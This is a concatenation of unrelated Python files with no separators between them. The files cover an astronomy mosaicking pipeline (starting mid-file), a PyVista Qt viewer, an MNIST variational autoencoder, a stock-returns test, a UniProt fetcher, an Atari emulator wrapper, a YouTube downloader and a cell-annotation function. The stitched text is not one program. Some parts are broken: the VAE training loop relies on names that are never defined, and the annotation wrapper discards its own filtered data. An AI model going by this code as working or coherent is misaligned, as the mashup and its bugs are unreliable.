                   'AWIN_IMAGE', 'BWIN_IMAGE', 'ELONGATION'],
        follows=t40,
            )
    t42 = dict(
        name='cleanup photcat',
        func=phot_calib.cleanup,
        pipe='transform',
        in_=(t41, config['reg_inputs']),
        add_inputs="{basename[0]}.fits",
        out=fmtname(config['fmt_photcat_cleaned']),
        kwargs={
            'skymask_dir': config['skymask_dir']
            }
            )
    t43 = dict(
        name='match refcat',
        func=phot_calib.match_refcat,
        pipe='transform',
        in_=(t41, config['reg_inputs']),
        replace_inputs=[t42['out'], t10['out'], '{basename[0]}.fits'],
        out=fmtname(config['fmt_photcat_matched']),
        follows=[t10, t42],
        kwargs={
            'reg_inputs': config['reg_inputs'],
            'stilts_cmd': config['stilts_cmd'],
            }
            )
    t44 = dict(
        name='get flxscale',
        func=phot_calib.main,
        pipe='collate',
        in_=(t41, config['reg_inputs']),
        replace_inputs=[t43['out'], '{basename[0]}.fits'],
        out=fmtname(config['fmt_phot']),
        kwargs={
            'reg_phot': config['reg_phot'],
            'phot_model_flags': config['phot_model_flags'],
            'phot_hdr_suffix': config['phot_hdr_suffix'],
            },
        follows=t43,
        jobs_limit=1,
            )
    t50 = dict(
        name='select mosaic',
        func=prep_grouping.main,
        pipe='transform',
        in_=os.path.abspath(config['jobfile']),
        extras=config['jobdir'],
        out=config['jobkey'] + '.mosaic_group',
        jobs_limit=1,
        kwargs={
            "grpkey": 'mosaic',
            "sel_inputs": config['sel_fsubed'],
            "reg_inputs": config['reg_inputs'],
            "fmt_selected": config['fmt_selected'],
            "fallbacks": [('masked', config['sel_masked']), ],
            },
        follows=[t01, t31],
            )
    t51 = dict(
        name='get calhdr',
        func=phot_mosaic.get_header,
        pipe='transform',
        in_=(config['sel_mosaic'], config['reg_inputs']),
        extras=config['jobdir'],
        out="{{basename[0]}}.{}".format(config['phot_hdr_suffix']),
        kwargs={
            'reg_inputs': config['reg_inputs'],
            'phot_hdr_glob': config['phot_hdr_glob'],
            },
        follows=[t50, t44]
            )
    if 'mosaic_swarp_params' in config['jobconfig']:
        t520_header_to_config = partial(
                phot_mosaic.header_to_config,
                **config['jobconfig']["mosaic_swarp_params"])
    else:
        t520_header_to_config = phot_mosaic.header_to_config
    t520 = dict(
        name='create mschdr',
        func='swarp',
        pipe='collate',
        in_=(t51, config['reg_grp']),
        add_inputs='{basename[0]}.fits',
        in_keys=[('dummy', 'in')],
        out=fmtname(config['fmt_mosaic_hdr']),
        out_keys='IMAGEOUT_NAME',
        params={
            'HEADER_SUFFIX': '.{}'.format(config['phot_hdr_suffix']),
            'PIXELSCALE_TYPE': 'MANUAL',
            'PIXEL_SCALE': 0.20,
            'HEADER_ONLY': 'Y',
                },
        follows=[t50, t51],
        after_func=t520_header_to_config,
            )
    t52 = dict(
        name='create mosaic',
        func='swarp',
        pipe='collate',
        in_=(t51, config['reg_grp']),
        add_inputs=['{basename[0]}.fits', fmtname(config['fmt_mosaic_hdr'])],
        # =fmtname(config['fmt_mosaic_hdr']),
        in_keys=[('dummy', 'in', 'conf'), ],
        out=[fmtname(config['fmt_mosaic']),
             fmtname(config['fmt_mosaic_wht'])],
        params={
            'HEADER_SUFFIX': '.{}'.format(config['phot_hdr_suffix']),
            # 'PIXELSCALE_TYPE': 'MANUAL',
            # 'PIXEL_SCALE': 0.20,
            'DELETE_TMPFILES': 'Y',
            'FSCALE_DEFAULT': '0/0',
            'BACK_SIZE': 768,
            'COPY_KEYWORDS': ['OBJECT', 'MYCOLOR'],
            'WRITE_FILEINFO': 'Y',
                },
        follows=[t50, t51, t520],
        after_func=phot_mosaic.apply_weight,
        jobs_limit=1,
        auto_conf=True,
            )
    # t53 = dict(
    #     name='apply whtmap',
    #     func=phot_mosaic.apply_weight,
    #     pipe='transform',
    #     in_=(t52, config['reg_mosaic']),
    #     out=fmtname(config['fmt_mosaic']),
    #         )
    t54 = dict(
        name='get msccat',
        func='sex',
        pipe='transform',
        in_=(t52, config['reg_mosaic_fits']),
        # add_inputs='{basename[0]}.wht.fits',
        in_keys=[['in', 'WEIGHT_IMAGE'], ],
        out='{basename[0]}.cat',
        params={'CATALOG_TYPE': 'ASCII_HEAD',
                'DETECT_MINAREA': 3,
                'DETECT_THRESH': 1.0,
                'ANALYSIS_THRESH': 1.0,
                'DEBLEND_MINCONT': 0.005,
                'PHOT_APERTURES': [9, 13, 18, 22, 27, 36, 45, 54],
                'BACK_SIZE': 64,
                'WEIGHT_TYPE': 'MAP_WEIGHT',
                # 'WEIGHT_TYPE': 'NONE',
                'WEIGHT_GAIN': 'Y',
                'GAIN_KEY': 'GAIN',
                'MAG_ZEROPOINT': 25,
                },
        outparams=['MAG_APER(8)', 'MAGERR_APER(8)'],
        after_func=phot_mosaic.sex_to_ascii,
            )
    t55 = dict(
        name='match refcat2',
        func=phot_mosaic.match_refcat,
        pipe='transform',
        in_=(t54, config['reg_mosaic']),
        add_inputs=['{basename[0]}.fits', t15],
        out=fmtname(config['fmt_msccat_matched']),
        follows=[t10, t42],
        kwargs={
            'stilts_cmd': config['stilts_cmd'],
            'reg_mosaic': config['reg_mosaic']
            }
            )

    tlist = [
            t00, t01,   # mask
            t10, t15,   # refcat
            t20, t21, t22, t23, t24,          # comb
            t30, t31,       # sub
            t40, t41, t42, t43, t44,      # phot calib
            t50, t51, t520, t52, t54, t55       # mosaic
            ]
    return tlist

def pyfunc(script, arg):
    return "{} -u {} {}".format(
            sys.executable,
            os.path.join(os.path.dirname(__file__), script),
            arg)

def fmtname(string):
    return re.sub(r'{(.+?)}', r'{\1[0]}', string)


import sys

# Setting the Qt bindings for QtPy
import os
os.environ["QT_API"] = "pyqt5"

from qtpy import QtWidgets
from PyQt5 import uic

import numpy as np

import pyvista as pv
from pyvistaqt import QtInteractor, MainWindow

class MyMainWindow(MainWindow):

    def __init__(self, parent=None, show=True):
        QtWidgets.QMainWindow.__init__(self, parent)

        # create the frame
        uic.loadUi("QtVTKMainWindow.ui", self)
        self.frame = QtWidgets.QFrame()
        vlayout = QtWidgets.QVBoxLayout()

        # add the pyvista interactor object
        self.plotter = QtInteractor(self.frame)
        vlayout.addWidget(self.plotter.interactor)
        self.signal_close.connect(self.plotter.close)

        self.frame.setLayout(vlayout)
        self.setCentralWidget(self.frame)

        # simple menu to demo functions
        #mainMenu = self.menuBar()
        #fileMenu = mainMenu.addMenu('File')
        #exitButton = QtWidgets.QAction('Exit', self)
        #exitButton.setShortcut('Ctrl+Q')
        #exitButton.triggered.connect(self.close)
        #fileMenu.addAction(exitButton)

        # allow adding a sphere
        #meshMenu = mainMenu.addMenu('Mesh')
        #self.add_sphere_action = QtWidgets.QAction('Add Sphere', self)
        #self.add_sphere_action.triggered.connect(self.add_sphere)
        #meshMenu.addAction(self.add_sphere_action)

        if show:
            self.show()

    #def add_sphere(self):
        """ add a sphere to the pyqt frame """
    #    sphere = pv.Sphere()
    #    self.plotter.add_mesh(sphere, show_edges=True)
    #    self.plotter.reset_camera()

if __name__ == '__main__':
    app = QtWidgets.QApplication(sys.argv)
    window = MyMainWindow()
    sys.exit(app.exec_())


import torch, math, copy
import numpy as np
import matplotlib.pyplot as plt
import torch.nn as nn
import torch.nn.init as init
import torch.nn.functional as F
import matplotlib.pyplot as plt
import cv2
from torchvision import datasets, transforms
from scipy.stats import kde

class ConvVAE(nn.Module):
    def __init__(self, latent_dim, hidden_dim=1024):
        super(ConvVAE, self).__init__()

        self.latent_dim = latent_dim
        nc=1; ndf=8; ngf=8

        self.encoder = nn.Sequential(

            #Layer 1
            nn.Conv2d(nc, ndf, 4, 2, 1, bias=False),
            nn.LeakyReLU(0.2, inplace=True),

            #Layer 2
            nn.Conv2d(ndf, ndf * 2, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ndf * 2),
            nn.LeakyReLU(0.2, inplace=True),

            #Layer 3
            nn.Conv2d(ndf * 2, ndf * 4, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ndf * 4),
            nn.LeakyReLU(0.2, inplace=True),

            #Layer 4
            nn.Conv2d(ndf * 4, ndf * 8, 4, 2, 1, bias=False),
            nn.LeakyReLU(0.2, inplace=True),
        )

        self.decoder = nn.Sequential(

            #Layer 1
            nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ngf * 4),
            nn.ReLU(True),
            #Layer 2
            nn.ConvTranspose2d(ngf * 4, ngf * 2, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ngf * 2),
            nn.ReLU(True),
            #Layer 3
            nn.ConvTranspose2d(ngf * 2, ngf, 4, 2, 1, bias=False),
            nn.BatchNorm2d(ngf),
            nn.ReLU(True),

            #Layer 4
            nn.ConvTranspose2d(ngf, 1, 4, 2, 1, bias=False),
            nn.BatchNorm2d(1),
            nn.ReLU(True),
        )

        self.mu = nn.Linear(1024, latent_dim)
        self.logvar = nn.Linear(1024, latent_dim)
        self.hidden = nn.Linear(latent_dim, 1024)

    def sample(self, mu, logvar):
        std = torch.exp(0.5*logvar)
        eps = torch.randn_like(std)
        z = mu + (eps * std)
        return z

    def encode(self, input):
        conv = self.encoder(input)
        conv = conv.view(-1, 1024)
        mu, logvar = self.mu(conv), self.logvar(conv)
        return mu, logvar

    def decode(self, z):
        x = self.hidden(z)
        x = x.view(-1,64,4,4)
        out = self.decoder(x)
        return out

    def forward(self, input):

        mu, logvar = self.encode(input)
        z = self.sample(mu, logvar)
        decoded = self.decode(z)

        return mu, logvar, decoded

    def generate(self, n):
        z = torch.randn(n, self.latent_dim).cuda()
        samples = self.decode(z)
        return samples

transform = transforms.Compose([transforms.ToTensor(), transforms.Resize(64), transforms.CenterCrop(64), transforms.Normalize((0.5,), (0.5,))])
dataset = datasets.MNIST("data", download=True, transform=transform)
loader = torch.utils.data.DataLoader(dataset, batch_size=32, shuffle=True)

def show(x):
    img = x.data.cpu().permute(1, 2, 0).numpy() * 255
    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
    cv2.imshow(img)

#training loop
beta = 2
for epoch in range(100):
    for i, x in enumerate(loader):
        if len(x) == 2:
            x = x[0]
        x = x.cuda()

        mu, logvar, out = vae(x)
        rl, kl, l = loss(x, out, mu, logvar, beta)

        opt.zero_grad()
        l.backward()
        opt.step()

        if i == 0:
            vae.eval()
            data = vae.generate(8)
            grid_img = torchvision.utils.make_grid(data, nrow=8, normalize=True)
            show(grid_img)
            vae.train()


from datetime import datetime

from ..brokerage.alpaca.client.create_market_data_client import (
    create_historical_stock_data_client,
)
from ..brokerage.alpaca.data.get_close_to_close_returns import (
    get_close_to_close_returns,
)

def test_get_close_to_close_returns():
    client = create_historical_stock_data_client()
    ctc_returns = get_close_to_close_returns(
        client=client,
        symbols=["AAPL"],
        start=datetime(2023, 1, 1),
        end=datetime(2023, 1, 8),
    )

    assert ctc_returns.get("AAPL") is not None
    assert len(ctc_returns.get("AAPL")) == 3
    assert ctc_returns.get("AAPL")[0] == 0.010373110324863351


import requests
from lxml import etree
import sys

namespace="{http://uniprot.org/uniprot}"

def get_entry(document):
    return document.findall("./"+namespace+"entry")[0]

entry_ids =[item.strip() for item in open(sys.argv[1])]

xmlroot_string="<uniprot xmlns=\"http://uniprot.org/uniprot\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://uniprot.org/uniprot http://www.uniprot.org/support/docs/uniprot.xsd\"/>"

root=etree.fromstring(xmlroot_string)

url = "https://www.uniprot.org/uniprot/"
for id in entry_ids:

    xml =requests.get(url+id+".xml")
    subroot=etree.fromstring(xml.content)
    root.append(get_entry(subroot))

tree = etree.ElementTree(root)
tree.write(sys.argv[2])


import numpy as np
from scipy.misc import imresize
from reinforcepy.environments import BaseEnvironment
from ale_python_interface import ALEInterface

class ALEEnvironment(BaseEnvironment):
    """
    The :class:`MinimalGameHandler` class takes care of the interface to the ALE and tries to do nothing else. It's
    meant for advanced users who need fine control over every aspect of the process. It has many functions that are simply
    wrappers of the underlying ALE but with pythonic names/usage.

    Parameters
    ----------
    rom : byte string
        Specifies the directory to load the rom from. Must be a byte string: b'dir_for_rom/rom.bin'
    display_screen : boolean
        Default False. Whether or not to show the game. True takes longer to run but can be fun to watch
    step_cap: int
        Default None. Maximum number of steps to run in an episode. Breakout can sometimes not return terminal
        even when game is ended. This fixes that and will return terminal after stepping above this count
    """
    def __init__(self, rom, resize_shape=(84, 84), skip_frame=1, repeat_action_probability=0.0,
                 step_cap=None, loss_of_life_termination=False, loss_of_life_negative_reward=False,
                 grayscale=True, display_screen=False, seed=np.random.RandomState()):
        # set up emulator
        self.ale = ALEInterface()

        if display_screen:
            self.ale.setBool(b'display_screen', True)

        self.ale.setInt(b'frame_skip', skip_frame)
        self.ale.setInt(b'random_seed', seed.randint(0, 9999))
        self.ale.setFloat(b'repeat_action_probability', repeat_action_probability)
        self.ale.setBool(b'color_averaging', False)

        self.ale.loadROM(rom.encode())

        # setup gamescreen object. I think this is faster than recreating an empty each time
        width, height = self.ale.getScreenDims()
        channels = 1 if grayscale else 3
        self.grayscale = grayscale
        self.gamescreen = np.empty((height, width, 1), dtype=np.uint8)

        self.resize_shape = resize_shape
        self.skip_frame = skip_frame
        self.step_cap = step_cap
        self.curr_step_count = 0

        # setup action converter
        # ALE returns legal action indexes, convert these to just numbers
        self.action_inds = self.ale.getMinimalActionSet()

        # setup lives
        self.loss_of_life_negative_reward = loss_of_life_negative_reward
        self.cur_lives = self.ale.lives()
        self.loss_of_life_termination = loss_of_life_termination
        self.life_lost = False

    def reset(self):
        self.ale.reset_game()
        self.cur_lives = self.ale.lives()
        self.life_lost = False
        self.curr_step_count = 0

    def step(self, action):
        self.curr_step_count += 1
        ale_action = self.action_inds[action]
        return self._step(ale_action)

    def _step(self, ale_action):
        if not self.loss_of_life_termination and not self.loss_of_life_negative_reward:
            return self.ale.act(ale_action)
        else:
            rew = self.ale.act(ale_action)
            new_lives = self.ale.lives()
            if new_lives < self.cur_lives:
                # if loss of life is negative reward subtract 1 from reward
                if self.loss_of_life_negative_reward:
                    rew -= 1
                self.cur_lives = new_lives
                self.life_lost = True
            return rew

    def get_state(self):
        if self.grayscale:
            self.gamescreen = self.ale.getScreenGrayscale(self.gamescreen)
        else:
            self.gamescreen = self.ale.getScreenRGB(self.gamescreen)
        # if resize_shape is none then don't resize
        if self.resize_shape is not None:
            # if grayscale we remove the last dimmension (channel)
            if self.grayscale:
                processedImg = imresize(self.gamescreen[:, :, 0], self.resize_shape)
            else:
                processedImg = imresize(self.gamescreen, self.resize_shape)
        return processedImg

    def get_state_shape(self):
        return self.resize_shape

    def get_terminal(self):
        if self.loss_of_life_termination and self.life_lost:
            return True
        elif self.step_cap is not None and self.curr_step_count > self.step_cap:
            return True
        else:
            return self.ale.game_over()

    def get_num_actions(self):
        return len(self.action_inds)


import pyperclip
import re
from pytube import YouTube
from pytube.exceptions import RegexMatchError

def downloadVideoFromClipboard():
    # extract text from the clipboard
    clipboardText = pyperclip.paste()
    ytLinkRegex = re.compile(r'(https://www.youtube.com/\S+youtu.be)')
    listOfLinks = ytLinkRegex.findall(clipboardText)
    # extract urls from content
    for i in range(len(listOfLinks)):
        # print(listOfLinks[i])
        ytVideoLink = listOfLinks[i]
        # interpolate the yt object with string values
        try:
            desiredVideo = YouTube(ytVideoLink)
        except RegexMatchError:
            print('An RegexMatchError Exception Occured While Parsing The Clipboard Text')
            print(f'{ytVideoLink} appears to have formatting issues')
            if i <= len(listOfLinks):
                print('skipping this entry...')
                print('processing the remaining items found...')
            else:
                print(f'skipping link {ytVideoLink}')
        except Exception as e:
            print(f'An {e} Exception Occured While Parsing The Clipboard Text')
            print(f'{ytVideoLink} appears to have formatting issues')
        else:
            # # establish a stream selection by iTag
            stream = desiredVideo.streams.get_by_itag(22)
            # # download the selection
            if stream.download('./'):
                print(
                    f'Video # {i + 1} {stream.title} Found at {ytVideoLink} SUCCESSFULLY Downloaded')

downloadVideoFromClipboard()

# sextonVideo = YouTube(
#     'https://www.youtube.com/watch?v=8YOfTje05Lk&feature=youtu.be')

# secondSextonVideo = YouTube(
#     'https://www.youtube.com/watch?v=1NvALzdU9PU&feature=youtu.be ')

# #  filter the streams and select the first option
# video = secondSextonVideo.streams.filter(res="720p")[0]

# video.download('./')

# # establish a stream selection by iTag
# stream = sextonVideo.streams.get_by_itag(22)
# # download the selection
# stream.download('./')


import scanpy as sc
import numpy as np
import pandas as pd

from .. import get
from .. import preprocessing
from . import _helper as helper
from .. import utils
from ..utils._utils import _infer_annotation_key
import scipy.sparse
import scipy.linalg

try: # dont fail importing the whole module, just because a single annotation method is not available
    import wot
    HAVE_WOT = True
except ImportError:
    HAVE_WOT = False

def _annotate_wot(
    adata,
    reference,
    annotation_key,
    **kwargs
    ):

    """\
    Implements the functionality of :func:`~annotate_wot` without data
    integrity checks.
    """

    if not HAVE_WOT:
        raise ImportError('The module `wot` could not be imported, but is required to use the annotate method "wot"! Maybe it is not installed properly?')

    nadata = adata.shape[0]
    nref = reference.shape[0]

    adata_ref = sc.concat((adata, reference))
    adata_ref.obs['data'] = [0] * nadata + [1] * nref

    try:
        ot_model = wot.ot.OTModel(adata_ref, day_field='data', **kwargs)
        tmap_annotated = ot_model.compute_transport_map(0, 1)
    except:
        print('Exception in WaddingtonOT. Trying with cell normalization.')
        sc.pp.normalize_per_cell(adata_ref, counts_per_cell_after=10000)
        ot_model = wot.ot.OTModel(adata_ref, day_field='data', **kwargs)
        tmap_annotated = ot_model.compute_transport_map(0, 1)

    ref_cell_type = pd.get_dummies(reference.obs[annotation_key])
    cell_type = (tmap_annotated.X @ ref_cell_type)
    cell_type.index = adata.obs.index
    cell_type = helper.normalize_result_format(cell_type)

    return cell_type

def annotate_wot(
    adata,
    reference,
    annotation_key=None,
    counts_location=None,
    **kwargs
    ):

    """\
    Annotates an :class:`~anndata.AnnData` using reference data by
    Waddington-OT [Schiebinger19]_.

    This is the direct interface to this annotation method. In practice using
    the general wrapper :func:`~tacco.tools.annotate` is recommended due to its
    higher flexibility.

    Parameters
    ----------
    adata
        An :class:`~anndata.AnnData` including expression data in `.X`.
    reference
        Reference data to get the annotation definition from.
    annotation_key
        The `.obs` key where the annotation is stored in the `reference`. If
        `None`, it is inferred from `reference`, if possible.
    counts_location
        A string or tuple specifying where the count matrix is stored, e.g.
        `'X'`, `('raw','X')`, `('raw','obsm','my_counts_key')`,
        `('layer','my_counts_key')`, ... For details see
        :func:`~tacco.get.counts`.
    kwargs
        Extra key word arguments are forwarded to :func:`wot.ot.OTModel`.

    Returns
    -------
    Returns the annotation in a :class:`~pandas.DataFrame`.

    """

    if adata is None:
        raise ValueError('"adata" cannot be None!')
    if adata.X is None:
        raise ValueError('"adata.X" cannot be None!')
    if reference is None:
        raise ValueError('"reference" cannot be None!')

    annotation_key = _infer_annotation_key(reference, annotation_key)

    adata = get.counts(adata, counts_location=counts_location, annotation=True, copy=False)
    reference = get.counts(reference, counts_location=counts_location, annotation=annotation_key, copy=False)

#    if annotation_key in reference.varm:
#        reference = preprocessing.filter_profiles(adata=reference, annotation_key=annotation_key, fill_na=None, fill_negative=None) # filter out zero-only genes in the profiles
    if annotation_key in reference.obsm:
        reference = preprocessing.filter_annotation(adata=reference, annotation_key=annotation_key, fill_na=None, fill_negative=None) # filter out zero-only cells in the annotation

    tdata,reference = preprocessing.filter(adata=(adata, reference)) # ensure consistent gene selection

    # call typing without data integrity checks
    cell_type = _annotate_wot(
        adata=adata,
        reference=reference,
        annotation_key=annotation_key,
        **kwargs
    )

    return cell_type